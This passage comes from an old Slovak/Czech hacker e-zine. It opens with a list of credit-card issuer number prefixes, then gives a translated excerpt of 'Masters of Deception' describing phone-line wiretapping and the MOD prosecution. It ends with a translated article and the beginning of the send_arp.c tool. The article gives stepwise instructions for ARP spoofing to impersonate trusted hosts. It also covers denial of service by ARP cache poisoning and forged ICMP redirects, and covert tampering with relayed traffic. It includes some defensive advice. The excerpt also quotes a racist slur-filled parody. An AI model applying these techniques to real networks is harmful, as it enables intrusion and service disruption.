5453 - Eurocard International, S.A. 

5454 - Bank of New England-West, N.A. 

5458 - Bank of New England-West / Crestar Bank 

5460 - Citibank, N.A. 

5462 - Central Bank 

5463 - Eurocard International, S.A. 

5465 - Chase Manhattan Bank 

5469 - N.B.D. Bank Evanston, N.A. 

5472 - Bank of New England Old Colony, N.A. 

5480 - Bank of America 

5485 - Commercial National Nank of Peoria 

5485 - Citibank 

5485 - Simmons First National Bank 

5485 - Citibank 

5488 - Financial Transaction Systems, Inc. 

5489 - First American Bank of Virginia 

5493 - Credicard, S.A. 

5494 - Credit Union Card Services, Inc. 

5485 - Citibank 

5488 - Mellon Bank Delaware, N.A. 

5489 - First American Bank of Virginia 

5493 - Credicard, S.A. 

5494 - Credit Union Card Services, Inc. 

5498 - Star Bank, N.A. 

5499 - The Bankcard Association, Inc.5554 - State Street Bank & Trust Co.

gizmo, gizmo(at)hysteria.sk

navrat na obsah

valka elektronickych gangu III

tak tu je slubene dokoncenie prekladu uryvku z knihy valka elektronickych gangu III :)
predosle casti su v prielome 10 a 11...

Chris pochopi ze to John mu prepol medzimestskeho operatora. Tiez si mysli,
ale nepravne, ze John je autorom toho manifesta ktory severski chalani volaju
History of MOD. Takze Chris sa nasere a rozhodne sa ze tiez vyparati nejaky
ten kusok.

Chris ma stary pocitacovy program, ktory prelozi hocijaky fajl do noveho
'jazyka'. Ked do toho programu naladuje History of MOD, vypluje to 'jive' verziu
spominaneho dokumentu. Tento prekladaci softik jednoducho hlada niektore
klucove slova alebo slovne spojenia, a zameni ich inymi.

V povodnom zneni to je to 'In the early part of 1987, there were
numerous amounts of busts in the US and in New York in particular....' a
program z toho spravi 'In de early part uh 1987, dere wuz numerous amonts uh busts in de
US and in New Yo'k in particular....'

Pouzivanie jive programu je elektronicky ekvivalent ako dostat sa na trapnu
humornu show s rasistickym podtonom : "Some nigga' name Co'rupt, havin' been real
active befo'e, duzn't gots' some so'kin' computa' anymo'e and so ... sheeit, duh."

Chris sa sam nepoklada za rasistu. Hovori ze ma kamosov cernochov v praci.
Ked sa ho spytate preco takto zosmiesnil History of MOD: povie ze sa to zdalo byt
smiesne. Srandovne, hovori. Ked po niekom idete, spravite cokolvek co by ho zosmiesnilo,
hovori. Hocico. Nemal prekladaci program ktory by prozu chalanov z MOD zmenil na,
dajme tomu eskimacky prizvuk.. proste mal jive program.

Takze co mal robit ?

Keby ste zili v state Texase, chapali by ste to. Chris hovori: "Tunak dole
seci mame cizmy a klobuky. Vsetci chodime jazdit."

John uzrie kopiu Chrisovej roboty zaciatkom 1991.

Sedi pred pocitacom ktory vyzera ako poskladany z vyhodenych casti. Ma velku
TV konzolu namiesto monitoru, rozbitu klavesnicu a stary Commie 64 s magnetakom.
Jeho komp je street box, guerrilla machine.

A tam je na obrazovke, jived History of MOD.

"De legacy uh de underground 'clandestine' netwo'k continues and so's duz
de war against all de self-proclaimed, so-called 'elite.'"

John najprv tomu neveri; je to prilis v drsne. Pomaly si to precituje, zhrozeny.

John to docita, potom si na minutku sadne, cumi na obrazovku, cumi mimo obrazovky..
proste cumi. A mysli si, "tento chalanicko ma fakticky nema rad. Je namiereny na mna,
a iba na mna".

Comsec otvori svoje dvere v Maji 1991 a partneri sa v priestrannych kancelariach
v Houstone rychlo zabyvaju. Comsec ma vysoky strop s neonmi a plynove lampy v dvoch
koridoroch. Obcas zakladatelia Comsecu skateboarduju po dlhych prazdnych chodbach a
sulaju sa v pisacich kreslach. Chris byva v zadnej casti budovy, v bejvaku s velkou

Ale je tu jeden problem. Comsec nema ziadnych klientov.

Sefovia Comsecu maju tyzdenne porady, na ktore vsetci chodia. Rozhodnu sa distribuovat
spravy do tlace o ich zabezpecovacie sluzby. Ako kto ? Ako profesionalni ex-hackeri,
spravia si zoznam pravdepodobnych klientov. Prescanuju si fajly na undergroundovych
BBSkach aby nasli mena podnikov ktore boli infiltrovane, potom tam volaju a ponukaju svoje
sluzby.

Spravy v tlaci funguje super, pretoze v Juni 1991, menej ako mesiac po oficialnom
debute Comsecu, casopis Time uverejni o tychto hackeroch story.

Na druhy den okamzite zacnu zvonit telefony. A zvonia a zvonia. Nemozete si kupit lepsiu
reklamu ako Time. Comsec ma klientov ! Jeden je konzultant reprezentujuci telekomunikacny
priemysel, objednava si vyzkum nedavnych vypadkov regionalnych Bell spolocnosti.
Klient zaplati US$5000 zalohu.

Samozrejme ze publicita v Time ma aj iny efekt.

Hore na severe, chalani z MOD citaju tieto story.

John Lee dostane super napad ako si z Texasanov vystrelit. Preco ho to do paze nenapadlo
uz skor ?

Svoj plan zacne realizovat pocas toho dlheho, horuceho leta 1991. Aspon ho to odreaguje
od skutocnosti ze sa musi potit v horucom baraku bez klimy na Kosciusko Street.
Jeho plan je spiclovat, a je vcelku jednoduchy. John sa naloguje na Southwestern Bell
ustrednu ktora kontroluje telefony Comsecu v Houstone.

Potom John napise prikazy a zisti z ustredne ktore z telefony v Comsecu sa momentalne
pouzivaju.

Ak sa nejake pouzivaju, John vie ze momentalne prebieha nejaka konverzacia.
Pouziva sa telefonna linka. Takze napise zopar prikazov, tak ako by to spravil
operator, a ziska kontrolu nad danou linkou. Takto jednoducho odpocuva prebiehajucu
koverzaciu.

Na linke pocut tichy klik, ale nie je to ten typ hluku ktory by ste si vsimli, pokial
na neho necakate. A nikto v Comsecu nema dovod nato aby si mysleli ze ich niekto
odpocuva.

John pravidelne odpocuva hovory. To je ten pravy sposob ako zistit co ma nepriatel
za lubom a ako ocakavat kazdy krok Texasanov pred tym ako ho spravia. Takze tu mame
Johna, ako jedno poobedie pocuva ako tato bezpecnostna firma ma telefonat od svetoznameho
hackera, Creiga Neidorfa.

Da sa s lahkostou povedat ze v roku 1991 niet znamejsieho hackera ako Neidorf. A to preto
lebo rok predtym Neidorf porazil federalnu vladu v ich vlastnej hre. Mesiace potom,
Neidorfov pripad sa stal legendou. (A roky potom sa opatrni prokutarovi ktori zvazovali
zalovanie hackerov jeden druheho varovali pred "potiahnutim dalsieho Neidorfa.")

Spolu-editor elektronickeho casopisu Phrack, Neidorf za zucastnil v lete 1990 v Illionse
sudneho procesu. Bol obvineny z vlastnictva a publikovania takzvanych sukromych
dokumentov telekomunikacnej firmy vo Phracku. Vlada argumentovala ze publikovane informacie
mali hodnotu tisicov dolarov, na zaklade odhadov telekomunikacnej firmy. Ale v priebehu
sudneho procesu obhajoba dokazala ze dokumenty namiesto tajnych informacii obsahovali
informacie ktore boli verejne pristupne, Bellcore predaval tieto informacie hocikomu kto
si zaplatil 13 dolarov za clanok v technickej tlaci. Zhrozeni federalni prokuratori
vzdali pripad este pred tym ako sa dostal pred porotu. Ano, Neidorf bol pre niektorych
hackerov hrdina. Ale bola to jeho notorickost ktora ho preslavila v undergrounde
kyberpriestoru.

Teraz okolo obeda pracovneho dna v lete 1991, Chris Goggans odpovedal na telefonat
v Comsecu a na druhej strane linky je Neidorf. (John potichu odpocuva.) Telefonat je
iba priatelsky pokec, ale dnes je Neidorf fakticky nasraty. Problem je ze stale dostava
anonymne telefonaty, furt ho niekto otravuje. Mysli si ze vie kto je zodpovedny, ale
chce aby sa to skoncilo.

"Hm vyzera to ze ti robia nieco podobne ako robia aj nam," odpoveda Chris.

"Niekto prave volal mojmu otcovi do Virginie", hovori Neidorf. Chris nie je prekvapeny,
ale je za svojho kamosa tiez nastvany. Ma teoriu o tom kto by za tym vsetkym mohol byt.

"Vyzera to na Corrupta," hovori Chris, opakujuc svoje podozrenie ze John Lee ho
otravuje aj v Houstone. "Vyzera to ze to on vsetko robi." V tej chvili zazvoni druhy
telefon v Houstone, dalsi prichodzi telefonat pre Comsec. Chris poprosi Neidorfa aby
chvilocku pockal na linke, a zdvihne druhy telefon. Hlas na druhej strane tej druhej linky
hovori Chrisovi, "Heh no jo, to fakt vyzera ze to robim ja."

Chris je taky nasraty, ze ani nemoze normalne rozmyslat. John Lee odpocuval linky !
Sukromne telefonaty Comsecu ! Ako dlho ? Ako casto ? Co vsetko pocul ? Co vsetko vykecal
svojim kamosom v MODe ? Ked sa toto vsetko dostane von, Comsec bude na posmech !

Najali by ste si firmu na computer security, ktora si ani svoje vlastne telefonne
linky nevie zabezpecit ?

Chris zavola FBI, nevediac ze Kaiser a Staples uz cele mesiace zhromazduju dokazy
na sudny proces proti MOD. Ci Chrisov telefonat ovplyvnil nacasovanie nie je zname, ale
sudny proces proti MOD zacne v Juli 1992.

Sudne obvinenie ma 11 casti a obvinuje Marka, Paula, Eliho, Johna a dalsich clenov
MOD z nelegalnych prienikov do pocitacov. Kazda z 11 casti obvinenia je postihnutelna
minimalne piatimi rokmi vo vazeni. Kazda z 11 casti ma maximalnu pokutu 250 000 dolarov.

Tento sudny pripad je taky velky, taky senzacny a taky prevratny, ze US prokurator
sam zvola tlacovu konferenciu v lobby St. Andrews Plaza, na riaditelstve v Manhattane.
Chce ohlasit tento pripad mediam. Je to spichnute tak trochu na rychlo, rady skladacich
stoliciek siahaju az po stenu s detektormi kovov a vpredu po nepriestrelnu budku US-Marshala.
Dnu sa sype retaz navychyrenejsich New Yorskych novinarov a pytaju si handouty.
Obzaloba je zhrnuta do 23 stranoveho reportu prehusteneho faktami, vypoctami, pravnickymi
vecickami. Prehlasenie pre tlac ktore sa snazi vysvetlit ze o com toto obvinenie vlastne je, je
samo o sebe 8 stran dlhe. A potom mame este grafy na tabuli, ktore prichystal agent
Secret Service Rick Harris.

Hlavnu pointu ktoru sa obzaloba snazi preukazat je celo-narodny rozsah tychto pocitacovych
prienikov.

"Toto je kriminalita buducnosti," hovori US prokurator Otto Obermaier, vysoky chlapik v
tmavom obleku. Ukazuje prstom a zdoraznuje odpor voci pocitacovej kriminalite. "Odkaz ktory
chceme poslat do sveta z tejto obzaloby je, ze takyto druh cinnosti nebude tolerovany."

Clenova MOD su obvineni z najrozsiahlejsich prienikov najvacich a najsenzitivnejsich
pocitacovych systemov v krajine. Vlada sa rozhodla ze z tychto teenagerov spravi vzorovy
priklad. Odkaz, ako to vola Obermaier, npripusta ziadnu toleranciu. Ak si hacker ktory
rozmysla ze sa vyda po stopach Masters of Deception, radsej si to rozmysli.

Ani pomaly nie je miesto pod podiom - vsetci novinari sa snazia uchytit co najviac
informacii. Su tam prokuratori. Potom su tam agenti FBI a Secret Service a su tam aj
vysetrovatelia z Ministerstva Spravodlivosti USA - odbor Pocitacovej kriminality.

Obermaier povie novinarom vsetko o tychto trestnych cinoch. Hovori o tom ako chalani
sposobili firmam skody v tisicoch dolarov vo forme vyplat bezpecnostnym specialistom,
stratenym casom na serveroch. Ale nepovie im ze tito nebezpecni hackeri su vlastne iba
skupina teenagerskych chalanov ktori su priatelia, lebo zdielaju spolocne hobby.

Tato story sa dostane az do vecernych sprav na NBC s Tomom Brokawom. Je to ten pravy
pribeh s ktorym Brokaw ukoncuje spravy - reportaz na zamyslenie. Je tam zaber ako Mark
vyucuje pocitacovu triedu v New School for Social Research v Greenwich Village. Reportaz
sa konci na tmavej dazdivej ulici. Mark hovori reporterovi NBC ze je jednoznacne obet
politickeho vysetrovania.

Keby bol z toho byval sudny spor, tak tento pripad s MOD by sluzil ako precedens celej
krajine, spravila by sa merna latka, podla ktorej by vlada mohla odsudzovat takzvanych
pocitacovych kriminalnikov.

Ale nebol z toho sudny spor, pretoze vsetci chalani z MOD sa pocas roka deklarovali pred
sudcom ako vinny. Vsetci to vzdali. Co im zostavalo potom ? Bolo to na prokuratoroch aby
doporucili vysku trestu a na sudcovi aby to schvalil.

Hackeri ktori prichadzaju do budovy Citicorpu prvy piatok vo Februari 1994 maju
tazke boty, siroke nohavice a obite kanady, vysoko zasnurovane. Keby ale bol Jul,
samozrejme by neboli obleceni inak. Je to ich uniforma.

Dnesna session je prve stretnutie po takmer piatich rokoch na ktorom nie je pritomny
nikto z MOD - Mark, Paul, Eli a John su vsetci vo vazeni. Su tu tucty hackerov, vo veku
od 14 do 40, omnoho viac ucastnikov ako vtedy zaciatkom 1989. Odvtedy sa svet o dost zmenil,
odkedy sa Mark, Eli a John nejak nasli, a zacali spolu fungovat.

Je to vlastne ako keby ich cely svet dobehol. To co robili chalani MOD pre zabavu -
rekreacne behali cez kontinenty po kabloch - sa stalo narodnym sportom. "Surfovanie Netu" je
teraz popularnejsie ako kedy bolo CB radio a ludia vsade si kupuju svoj prvy pocitac
a pripajaju sa na online sluzby, aby sa spojili s informaciami z celeho sveta.

Preto nie je prekvapive, ze novi clenovia zvedavej generacie zaplnaju atrium Citicorpu.
Dnes vecer je ale diera tam, kde byval kedysi Mark, pri telefonnych automatoch, tam kde
tak rad postaval kym sa skupina kamosov zbehla okolo neho a davala mu technicke otazky.
Dnes vecer ho tam nenajdete vo familiarnom modro-bielom pulovri, nebudete pocut jeho
hlas. Dnes vecer je Mark daleko. K vratnici Pennsylvanskej okresnej vaznice prisiel neskoro
vecer v Januari 1994, dvere za nim zapadli este pred tym ako sa stacil rozlucit s priatelmi.
A nedostane sa odtial az do Novembra. Sudca ktory odsudil Marka povedal, ze Mark svojimi
aktivitami bol messenger, vzor pre hackersku komunitu. A tak sa sudca rozhodol poslat naspat
message.

Po sest-mesacnom vazeni vysiel John chudsi, svalnatejsi, vlastne v najlepsej forme v akej
kedy bol. Na jesen 1994 sa rozhodol ist naspat na Brooklyn College, kde nastupil studium
filmovej tvorby. Ma kopec napadov na filmy ktore by xcel zrealizovat.

Po skonceni vazby vo federalnom vazeni v Pennsylvanii sa Paul dostane na slobodu na jar
1994. Mark sa ma dostat von niekedy okolo Dna Vdakyvzdania. Pre obidvoch z nich sa hackerske
dni stanu vybornym treningom na job: Paul pracuje pre firmu ktora patra po nezvestnych
osobach s vyuzitim verejnych databaz. Mark prevadzkuje servre v Echo, Manhattanskom Inet
providerovi. Marka maju uzivatelia v Echo tak radi, ze zalozia malu zbierku kym sedi v lapaku
a kupia mu novy laptop ked sa vrati na slobodu.

Legion of Doom a Comsec su uz iba pamiatka. Comsec skoncil cinnost a Chris Goggans pracuje
v Austine pre Dell, skuma pokrocile bezdratove siete. S ostatnymi clenmi LOD zozbierali
tisicky odkazov, e-mailov, elektronickeho grafitti z roznych elitnych BBSiek z 1980-tych rokov
a predava to cez firmu LOD Communications. Predava aj tricka - na hackerskej stretavke
Ho-Ho Con v decembri 1992 v Houstone predava tricka s logom "The Hacker War" krizom cez
prsia s mapou Spojenych Statov s vyznacenymi miestami najvacsich bitiek, hlavne Houston, Austin
a New York.

Na zadnej strane tricka je napisane: LOD 1, MOD 0. A je tam hlaska ktora je udajne od Corrupta,
ktoru Chris dostal z tajnej databazy MOD: "Nezalezi len na tom aby sme vyhrali, ale na tom
aby vsetci ostatni prehrali."

Michelle Slatalla a Joshua Quittner, quit@newsday.com

Autori su reporteri New Yorskeho platku Newsday. Su zenati, maju dve dcery a macku so
siestimi prstami. Toto bol uryvok z ich knizky "Masters of Deception: The Gang That
Ruled Cyberspace" ktora vysla v nakladatelstve Harper-Collins v roku 1995. Na Slovensku
alebo v Cechach podla mojej informacie preklad nikdy nevysiel..

preklad pajka

navrat na obsah

redir hry s arp a icmp

existuju bugy a existuju features. castokrat je rozdiel medzi oboma iba v oku
vsemohuceho. chcem ukazat dva legitimne protokoly, ARP a ICMP, ktore ked sa
spravne implementuju, dokazu spravit cosi co nie je, ehm, nie je ziaduce.

kym pasivne utoky (sniffing) ktore zneuzivaju rootovsky pristup po LANke su
extremne popularne a aj lamerske rootkity maju vzdy aspon nejaky jeden net sniffer,
aktivne utoky zase nie su az take rozsirene. ale aktivna ucast v zivote vasej
LANky vam moze priniest kopec zabavy a radosti. to ste asi uz vedeli, akurat technicke
detajly boli nejak zahmlene. takze, budiz svetlo.

postupy ktore vysvetlim zahrnuju spoofing a DoS. aj ked ine druhy spoofingu,
ako napriklad IP blind spoofing, su omnoho vseobecnejsie a silnejsie, z pohladu
vyuzitelnosti pozaduju kopu roboty, hadania, a tazko sa implementuju. ARP spoofovanie je
naproti tomu velmi jednoduche a robustne.

aj ked ARP spoofovanie je mozne iba na lokalnej sieti, moze to znamenat seriozny
bezpecnostny problem ktory rozsiri uz existujucu dieru v bezpecnosti. ak sa niekto nabura
na jeden server na subnete, ARP spoofing moze byt pouzity na napadnutie ostatnych masin na nom.

zoberme si takuto hypoteticku siet



IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4

hostname       cat        rat       dog       bat

hw addr       AA:AA      BB:BB     CC:CC     DD:DD    (pre skratenie)

to vsetko mame pospajane na ethernete jednoduchym sposobom (t.j. ziadne switche,
ziadne smart huby). dajme tomu ze si hackol masinu cat, mas na nej roota a chces sa
dostat na dog. vies ze dog ma trust vztah s rat, takze ak dokazes uspesne spoofnut rat, mozes
cosi ziskat.

prva vec co nas napadne (myslim ze kazdeho to asi raz napadlo) je "preco si nenastavim
svoju IP adresu na adresu tej druhej masiny a..." To zial nefunguje, alebo aspon nefici to
poriadne. ak povies ethernetovemu driveru na cat ze jeho IP adresa je 10.0.0.2, zacne odpovedat na
ARP requesty na tej IP adrese. ale takisto aj rat. je to race podmienka a neexistuje v nej
vitaz. ale lahko sa moze stat ze sa z teba stane porazeny, pretoze tato konkretna situacia
sa odohrava dost casto ked sa nejaka masinka zle nastavi na uz existujucu IP adresu, takze kopu
softwaru si takuto vec hned vsimne a okamzite spustaju poplach. aj vselijake traffic analyzere na taketo
nieco upozornuju. riadok v syslogu ktory hovori cosi neprijemne (spominajuc ethernetovu adresu cat-u) na
konzole LAN administratora nie je zrovna to co potrebujes. a to co ty chces nemusis vobec mat,
cize dostat fungujuce spojenie.

tomuto ale mozeme samozrejme pomoct. program na konci tohoto clanku, send_arp.c,
moze byt uzitocny nastroj. ako hovori jeho meno, posle ARP packet [presnejsie povedane
ARP reply: pretoze v ARP protokole bude reply s radostou privitany aj ked si ho nikto nevyziadal.
request by tiez v pohode fungoval, toto je dost divna logika ARP protokolu] na siet a mozes spravit
z tohoto packetu co chces. co potrebujes je schopnost specifikovat zdrojovu a cielovu IP a hardwarova adresu.

zaprve nechces aby bol tvoj ethernet driver moc ukecany, a to sa lahko docieli
prikazom ifconfig -arp. samozrejme bude potrebovat aj tak ARP info, takze ho budes
musiet krmit do kernelu manualne cez arp(8). najdolezitejsia cast je presvecit svojich
susedov. v tomto pripade chces aby dog veril ze hardwarova adresa rat je ta co ma cat (AA:AA),
takze posles ARP reply so zdrojovou IP adresou 10.0.0.2, zdrojovou hw adresou AA:AA,
cielovou IP adresou 10.0.0.3 a cielovou hardwarovou adresou CC:CC. teraz si mysli dog ze
rat je na AA:AA. samozrejme zaznam v cache expajruje, takze ho musime updatovat (request musime
znovu a znovu posielat). ako casto, to zalezi od konkretneho systemu, ale kazdych 40 sekund
by malo stacit vo vacsine pripadov. kludne to poslite aj castejsie, nic sa neublizi.

moze nastat komplikacia v suvislosti s ARP caching. niektore systemy, napr. Linux sa budu
snazit updatovat cache vyslanim unicast ARP requestu na cachovanu adresu (ako ked ti manzelka
zavola aby sa presvecila ze si tam). takyto request moze vsetko posrat, pretoze zmeni
ARP zaznam obete, ktory si prave fejkol, takze tomu musime zabranit. toto dosiahneme tak,
zze nakrmime "manzelku" s reply packetmi ktore si nikdy nevyziadala. prevencia je najlepsi liek,
ako vzdy. tentokrat, skutocny packet z dog na rat by mal byt zaslany, akurat ho posle cat, a nie dog,
ale rat to nedokaze rozlisit. opat, pokial to spravime kazdych 40 sekund, vacsinou to staci.

takze postup je jednoduchy. nabehni aliasovy interface, napr. eth0:1 (alebo pouzi uz existujuci,
to je fuk), s IP adresou rat a so zapnutym ARP protokolom - najprv musis nastavit cache vstupy,
a nebude to fungovat na ne-arpovom interfaci. nastav host route pre dog cez spravny interface. nastav
cache vstup pre dog, vypni arp, a vsetko mas nastavene.

teraz posli send_arp (na dog aj na rat) a teraz si dog mysli ze si rat. pamataj na to ze mas
dookola posielat tieto ARP packety na dog aj rat.

tento utok funguje iba na lokalnej sieti, samozrejme (vo vseobecnosti sa da povedat
ze ho mozes pouzit tak daleko ako mozu ist ARP packety, vacsinou to vsak nie je velmi daleko, pretoze
sa skoro nikdy ARP packety neroutuju). zaujimave rozsirenie je vymenit hardwarovu adresu v hore nacrtnutom
sceneriu s routerovou adresou. ak to funguje (nie som si isty ze to vzdy bude fungovat, implementacia ARP
routeru sa tazsie da okaslat a kedze to nechcem skusat na skutocnych routeroch, neviem, ale jednoducho
neexistuje dovod preco nie) mozes sa lahko tvarit ako masina na lokalnej sieti pre cely svet. takze
cielova masina moze vlastne byt hocikde, ale masina na ktoru sa tvaris musi byt na tej istej LANke.

co este mozeme robit

okrem spoofovania mozes s ARP robit este kopec veci. jedinym limitom je obloha. DoS je
najzavnejsou aplikaciou.

krmit obet zlou hardwarovou adresou je silny sposob ako ju umlcit. mozes zabranit aby
komunikovala s konkretnou masinou (a velkost ARP cache zvycajne umoznuje zahrnut do toho
celu siet, takze dokazes efektivne zabranit komunikacii s celou sietou). zjavnou obetou
je router. Zaplnanie cache je opat dvoj-smerne: mal by si krmit aj victim system, aj
system na ktory nexces aby victim komunikoval. Najjednoduchsi sposob je krmit neexistujucu
adresu. Ale nie je to ta najefektivnejsia metoda, pretoze system rychlo pride na to ze
s nikym nekomunikuje a posle ARP request. Samozrejme ze tvoj dalsi vyslany jed to vynuluje, ale
musis to robit dost casto. Efektivnejsi sposob je krmit victim hardwarovou adresou nespravnej
masiny, ktora sama o sebe je v pohode na sieti. zalezi to na konkretnej situacii, ale casto
sa stava ze victim vysiela packety rozneho druhu ktore prijdu na zlu masinu, a ta zla masina
posle naspat ICMP Xxx Unreachable odkaz, co nejakym perverznym sposobom emuluje spojenie.
Taketo pseudo-spojenie moze predlzit expiraciu cache. Na linuxe, napriklad, pseud-spojenie
predlzi expiraciu cache z beznej 1 minuty na zhruba 10 minut. do vtedy vacsina alebo vsetky
TCP spojenia su v kybli. to moze dost nasrat. takymto sposobom moze ARP packet niekoho fest dokaslat.

ARP je aj seriozny nastroj na profesionalny cierny humor. predstavte si ze niekto si
nastavi relay, alebo tunel, tak ze presvedci dve susediace masiny aby posielali packety
urcene pre vzajomnu komunikaciu na Ethernet relay. Ak relay jednoducho forwarduje packety na
ich spravnu destinaciu, nikto si nic nevsimne. Ale jednoducha modifikacia datoveho toku moze
spravit uchvatne zmeny v mentalnom stave jedinca. Jednoduchy CPU-nenarocny "filter" moze
prehadzovat randomne dva bajty v nepravidelnych casovych intervaloch. Ak filter udrie na
datovu cast, vacsinu checksumu sa nezmeni, t.j. datovy tok sa bude zdat byt neposkodeny, avsak
divne a nevysvetlitelne veci sa _budu_ diat bez akehokolvek zjavneho dovodu.

ICMP redirekty

stejneho efektu jako ARP kes poisoning muzete dosahnout i jinak, pouzitim
legitimni soucasti ICMP protokolu - ICMP route redirekt.
v normalnich situacich je route redirekt pouzivan routerem, ktery se vam
snazi sdelit, ze existuje i kratsi cesta k nejake konkretni masine nez pres
nej. puvodne se pocitalo jak s redirekty na site tak na jednotlive masiny, ale
pozdeji se od pouzivani net redirektu upustilo a jsou vetsinou zpracovavany
jako obycejny host redirekt. spravne zkonstruovany ICMP paket, ktery projde
vsemi kontrolami spravnosti (napr. musi prijit z defaultniho routeru pro
tu destinaci kterou redirektuje, novy router by mel byt na primo pripojene
siti apod.) zpusobi pridani host-route zaznamu do systemovych routovacich
tabulek.

tento pristup je stejne bezpecny jako samotny protokol ICMP, to jest vubec.
falsovani IP adresy routeru je velmi jednoduche, prilozeny program
icmp_redit.c dela presne co potrebujeme. pozadavky kladene RFCkem rikaji, ze
system MUSI vzdy akceptovat ICMP redirekt, a jedinou vyjimku maji routery.
jednotlive implementace to samozrejme dodrzuji, funguje to vsude kde jsem to
zkousel. (tedy s vyjimkou cisteho kernelu 2.0.30, kde je kod nejak pokaslany.
jinak to funguje na 2.0.29 i na 2.0.31pre9).

ICMP redirekt se primo nabizi pro denial-of-service utoky. host-route
zaznamy v routovacich tabulkach nejsou casove omezeny, takze jejich platnost
nevyprsi tak jako u ARP kese. navic jeho pouzitelnost neni omezena na
lokalni sit, takze utok muze prijit odkudkoliv. takze v pripade, ze cil
prijima ICMP redirekty (a je pristupny po siti), muze mu byt zabraneno v
komunikaci s kteroukoliv konkretni adresou na siti (samozrejme s vyjimkou
masin na stejnem subnetu, kde se routing nepouziva). idealnim cilem jsou
treba nameservery.

co s tim

ARP je protokol pouzivany na nizke urovni, tudiz se s nim obvykle nesetkate,
respektive setkate, ale nevite o tom. obcas se s nim potykaji administratori
siti, ale pokud vse facha jak ma, nikdo se o nej nestara. kdokoliv se muze
podivat do ARP kese prikazem arp(8), ale obvykle to jen tak nekoho
nenapadne, leda pokud se vyskytl nejaky naprosto totalne zahadny problem.
dokonce i windows 95 maji prikaz arp, a jeho znalost vam muze obcas dobre
pomoct. (nicmene neexistuje zpusob, jak poznat ze jste cilem utoku
prichazejicho z cizi site pres gateway arp spoofing.) stejne jako u ARP kese
neni tezke najit zaznamy "host-route" zaznamy zpusobene ICMP redirektem,
proste se podivejte do systemovych routovacich tabulek. (ve vetsine verzi
route(8) takovy zaznam poznate podle flagu "D"). jen abyste vedeli.

hore prezentovane schema ARP utoku funguje perfektne na obycejnem 10Base2
ethernetu. nicmene pokud jsou masiny propojeny nejaky pokrocilejsim
zpusobem, trebas nejakymi smart huby nebo switchi, utok muze byt velmi
napadny, ne-li rovnou nemozny. (a to plati i pro pasivni utoky). takze to je
dalsi z duvodu proc byste meli investovat do fakt poradneho sitoveho zeleza.
bude se vam o poznani lepe spat.

osobne vubec nerad vidim, ze veci jako ICMP redirekt byly implementovany
jako defaultni soucast systemu. za prve - vetsina siti ma velmi jednoduchou
strukturu, takze si v pohode vystacite s obycejnou routovaci tabulkou. za
druhe - i v sofistikovanejsich sitich lze zmeny delat rucne, neni to zadna
dynamicka zalezitost, tak proc to delat pres ICMP? a do tretice - je to tak
nebezpecne, ze bych to nejradsi na mych systemech vypnul, i za cenu ze budou
mene kompatibilni s RFC1122. bohuzel to nemusi byt tak jednoduche. na linuxu
nebo kteremkoliv jinem open-source systemu muzu prinejhorsim upravit
zdrojaky kernelu a deaktivovat kod pomoci #define. na IRIXech 6.2 (a mozna i
jinejch verzich) lze nastavit icmp_dropredirects=1 nastrojem systune (jo,
fakt se mi libi ze to tam je, fakt jo.) jine OS mohou byt podobne
konfigurovatelne, ale nemam podrobnejsi informace.

u ARP protokolu se setkavame se situaci, kdy je resolvovani jmen vyreseno
dynamicky bez nejakeho centralniho serveru. ale nemusi tomu tak byt vzdy.
kdyz nekdo chce prevest hostname na IP, posle se dotaz na nameserver, nebo
se pouzije /etc/hosts, to znamena, ze je pouzito nejake staticke mapovani.
nevidim duvod proc tento pristup nepouzit i u ARP. ethernetove hardwarove
adresy se nemeni casto, a kdyz uz nahodou, tak to prece admina nijak
nezabije provest zmeny v prislusne tabulce. ethernet muze byt provozovan v
no-cache modu, potrebujete se jen ujistit ze zaznamy v ARP cache budou
permanentni. jako bonus usetrite trochu sitoveho provozu. ARP mapy muzete
distribuovat beznymi zpusoby, napriklad rdist, rsyns (ano, NIS by se take
dalo pouzit, ale predpokladam, ze jestli pri zajisteni bezpecnosti jdete tak
do hloubky ze se zabyvate ARP protokolem, nepouzivate asi NIS). stara
tradice /etc/ethers se muze znovu probrat k zivotu. ale zprovozneni nejakeho
poradneho ethernetoveho switche mi prijde lepsi (s jeho zaplacenim je to ale
horsi, heh).

stara moudrost je platna naveky: nepouzivejte autentifikaci zalozenou na
hostname. ti kteri tak ucini, budiz uvrzeni v nemilost sitovych bohu.

cheers,

yuri, volobuev@t1.chem.umn.edu

P.S. jeste k firewallum

presne vidim, jak hodne z vas po precteni sekce o ICMP svrbi prsty, abyste
mi napsali, ze ICMP pakety jdou v pohode odfiltrovat na firewallu. nepiste
mi. ja to vim.

znam hodne lidi, kteri se svym "ja mam firewall, je to super,
a kdo nepouziva firewall, je totalni blb" rikaji ze plno bezpecnostnich
problemu se vyresi jako mavnutim kouzelnym proutkem jen tak, ze mezi sebe a
zle hochy date firewall. samozrejme souhlasim ze firewall je skvela vec, ale
podotykam, ze jeho pouziti nemusi byt vzdy mozne nebo efektivni.

predstavte si prostredi, kde vsechny masiny jsou primo pripojeny na
internet, kde musite sdilet subnet s lidmi ktere vubec neznate (a kteri
samozrejme maji krasna nova vylestena SGIcka... kricici "tu jsem. pojdte si
me hacknout". tihle lide prece znaji UNIX, vzdyt ho videli v Jurskem
Parku.), nebo kde ma nad vasim routerem kontrolu cizi organizace. vitejte na
akademicke pude ... tady firewally nepouzivame. dalsi vec je, ze v techto
prostredich se nemusite tak bat cizich utocniku tolik jako insideru. bez
pecliveho zabezpeceni jednotlivych stroju je to totalni dzungle, ve ktere
ale nekteri lide potrebuji (kupodivu) pracovat. takze priste az budete
nekoho lamat do firewallu, uvedomte si prosim, ze to je krasna vec, ale
nehodi se pro kazdeho.





/* send_arp.c



tento program posle jeden ARP packet so zdrojovou/cielovou IP a ethernetovou 

hardwarovou adresou zadanou uzivatelom. da sa to skompilovat a bezi to pod 

linuxom ale pravdepodobne to funguje na hocijakom unixe co ma SOCK_PACKET



yuri, volobuev@t1.chem.umn.edu



*/



#include <stdio.h>

#include <ctype.h>

#include <stdlib.h>

#include <string.h>

#include <errno.h>

#include <netdb.h>

#include <sys/socket.h>

#include <linux/in.h>

#include <arpa/inet.h>

#include <linux/if_ether.h>





#define ETH_HW_ADDR_LEN 6

#define IP_ADDR_LEN 4

#define ARP_FRAME_TYPE 0x0806

#define ETHER_HW_TYPE 1

#define IP_PROTO_TYPE 0x0800

#define OP_ARP_REQUEST 2



#define DEFAULT_DEVICE "eth0"



char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97n

tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addrnn"};



struct arp_packet {

